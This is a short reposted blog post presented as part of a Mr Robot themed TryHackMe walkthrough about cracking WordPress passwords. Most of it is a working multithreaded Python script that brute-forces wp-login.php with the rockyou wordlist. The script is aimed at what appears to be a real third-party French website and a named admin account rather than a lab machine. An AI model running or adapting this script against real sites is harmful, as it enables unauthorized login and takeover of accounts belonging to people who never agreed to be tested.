Cracking WordPress Website Passwords – Python Script-泓源视野

Cracking WordPress Website Passwords – Python Script

Part 1 of a Mr Robot themed try hack me challenge. We try to crack wordpress website password with a wordlist list by creating a python script. If you'd like to support me, please like, share and subscribe. If you have any suggestions or queries, feel free to comment.

import requests
from concurrent.futures import ThreadPoolExecutor,as_completed
url = "https://www.oserinvestir.fr/wp-login.php"
def doLogin(pwd):
  loginBody = {
      'log':'admin4572',
      'pwd':pwd,
      'wp-submit':'Log In'
  }
  return (requests.post(url,loginBody).text,pwd)
with ThreadPoolExecutor(max_workers = 50) as executor:
  with open('rockyou.txt', 'rb') as wordlist:
    futures = []
    lines = [line.strip() for line in wordlist.readlines() if line]
    lines = set(lines)
    for line in lines:
       futures.append(executor.submit(doLogin,line))
    for future in as_completed(futures):
       if future.result()[0].find("Erreur :") == -1:
         print(future.result()[1])
you can run it with colab
本文由 泓源视野 作者:admin 发表,其版权均为 泓源视野 所有,文章内容系作者个人观点,不代表 泓源视野 对观点赞同或支持。如需转载,请注明文章来源。
6

发表评论

Protected with IP Blacklist CloudIP Blacklist Cloud
您是第8237660 位访客, 您的IP是:[35.173.181.0]